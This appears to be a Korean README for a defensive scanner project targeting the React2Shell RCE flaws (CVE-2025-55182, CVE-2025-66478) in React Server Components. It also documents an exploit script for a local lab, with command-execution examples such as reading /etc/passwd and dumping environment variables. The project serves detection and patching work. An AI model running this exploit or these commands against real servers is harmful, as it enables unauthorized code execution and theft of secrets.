CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js)를 위한 스캐너 - react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack 및 Next.js와 같은 RSC 지원 프레임워크에 영향을 미치는 심각한 React Server Components(RSC)/Flight 프로토콜 취약점 캠페인을 추적하고 수정합니다.
React2Shell 버그 클래스에 대한 외부 취약점: React Server Components (RSC) "Flight" 프로토콜에서 최근 공개된 두 가지 인증되지 않은 원격 코드 실행 취약점 — CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js) 로, 둘 다 CVSS 10.0 등급입니다. 이 문제는 RSC/Server Function 엔드포인트가 공격자가 제어하는 Flight 페이로드를 디코딩하는 방식에 존재하며, 단일 조작된 HTTP 요청을 통해 잠재적인 서버 측 코드 실행으로 이어집니다. 이는 App Router 및 프로덕션 빌드를 사용하는 최신 React/Next.js 스택에서도 마찬가지입니다. 많은 팀에게는 "지금 패치하고, 노출을 확인한 후, 감사"해야 하는 순간이지, 나중에 종속성 위생 스프린트로 미룰 일이 아닙니다. LAB 폴더에는 React2Shell에 대한 익스플로잇 및 실습 취약점이 포함되어 있습니다.
이 프로젝트는 두 가지 접근 방식을 제공합니다: (1) 소프트웨어 구성/종속성 위험 스캔(이 도구)을 통해 취약한 라이브러리와 버전을 신속하게 찾고, (2) 웹 DAST 스캐너( React2Shell Web Scanner )가 외부에서 RSC/Flight 엔드포인트를 능동적으로 탐색하여 실행 환경에서 악용 가능한 경로에 도달할 수 있는지 검증합니다. 이 두 가지를 함께 사용하면 "취약한 구성 요소는 어디에 있는가?" 와 "프로덕션에서 실제로 악용될 수 있는 곳은 어디인가?" 라는 질문에 답할 수 있으므로 패치, 강화 및 사고 대응의 우선순위를 자신 있게 정할 수 있습니다.
실시간 엔드포인트 테스트 및 RCE 검증을 위해서는 전용 웹 스캐너를 참조하십시오:
📁 web-scan_CVE-2025-66478/ - 전체 문서 및 가이드
cd web-scan_CVE-2025-66478
# 종속성 설치
pip install -r requirements.txt
# 단일 대상 스캔
python3 react2shell-scanner -u https://target.com -v
# 증거 표시와 함께 스캔
python3 react2shell-scanner -u https://target.com --show-evidence
# 모든 내보내기 형식과 함께 배치 스캔
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# 취약한 대상에서 익스플로잇 테스트 (Python 3.11+ 필요)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| 기능 | 설명 |
|---|---|
| 🔍 RCE 탐지 | 산술 기반 안전 탐지 (부작용 없음) |
| 🎯 기술 지문 감지 | Next.js/React 애플리케이션 자동 감지 |
| 📊 다중 형식 내보내기 | JSON, CSV, HTML 보고서 |
| 🔗 IOC 연관성 | 31개 이상의 알려진 악성 IP와 매칭 |
| 🌐 대규모 스캔 | CIDR 범위, 서브도메인 열거 |
| ☁️ Phoenix 통합 | 발견 결과를 Phoenix Security에 업로드 |
| 💻 익스플로잇 도구 | 취약한 대상에서 명령 실행 |
cd web-scan_CVE-2025-66478/test-lab/lab
# 취약한 인스턴스(3011) 및 패치된 인스턴스(3012) 시작
docker-compose up -d
# 취약한 인스턴스 테스트
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# 익스플로잇 종속성 설치
pip3.11 install -r requirements.txt
# 기본 명령 실행
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# 출력: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# 출력: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# 출력: 99e28775bf80 (컨테이너 ID)
# 시스템 정보 수집
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# 애플리케이션 정찰
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell은 React Server Components (RSC) 페이로드를 Flight 프로토콜에서 처리할 때 발생하는 인증되지 않은 원격 코드 실행 원시 기술입니다. 실제로는 악의적인 클라이언트가 단일 조작된 HTTP 요청을 RSC/Server Function 엔드포인트로 전송하고, 취약한 버전이 사용 중인 경우 "웹 앱"을 "서버 셸"로 바꿀 수 있습니다.
높은 수준에서:
이는 인증되지 않은 RCE이므로 기본 프로덕션 설정도 범위에 포함됩니다. "서버 함수"를 명시적으로 작성하지 않았고 단순히 최신 React/Next.js 패턴을 채택한 경우에도 마찬가지입니다. 호스팅 수준의 완화 조치와 일반 WAF는 기본 안전망으로 취급해서는 안 됩니다. 노출을 줄일 수 있지만 취약한 라이브러리를 안정적으로 보완하지는 않습니다. 이를 사고로 처리하십시오:
공격자가 React2Shell을 통해 RCE를 획득하면, 방어자는 익숙한 킬 체인을 가정해야 합니다:
.env 파일, 배포 비밀, CI 토큰, 서비스 자격 증명 및 서명 키 수집.DevSecOps 파이프라인이 전통적으로 웹 계층을 "단순한 프론트엔드"로 취급해 왔다면, 이 취약점은 RSC 및 스트리밍 의미론이 관련될 때 프론트엔드 프레임워크가 깊은 서버 측 폭발 반경을 가질 수 있음을 구체적으로 보여줍니다. Universal Vulnerability Scanner는 "취약한 패키지를 어디에서 실행하고 있습니까?"라는 질문에 신속하게 답하고, 그 답을 Phoenix 기반 캠페인 및 곧 제공될 실시간 RSC 엔드포인트에 대한 웹 DAST 검증에 공급할 수 있도록 존재합니다.
# 종속성 설치
pip install -r requirements.txt
# 프로젝트 루트에서 실행
python -m universal_vulnerability_scanner.main --help
# 기본 스캔
python -m universal_vulnerability_scanner.main scan /path/to/project
# JSON 출력
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# 자동 모드 (요약만 표시)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Phoenix 구성 템플릿 생성
python -m universal_vulnerability_scanner.main create-config
# .phoenix.config를 자격 증명으로 편집
# 그런 다음 스캔 및 업로드
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# 포함된 취약 샘플로 테스트
python -m universal_vulnerability_scanner.main test
스캐너는 다음 위치에 있는 JSON 기반 취약점 데이터베이스를 사용합니다:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "취약점 설명",
"references": ["https://..."]
}
}
}
}
.phoenix.config 생성:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new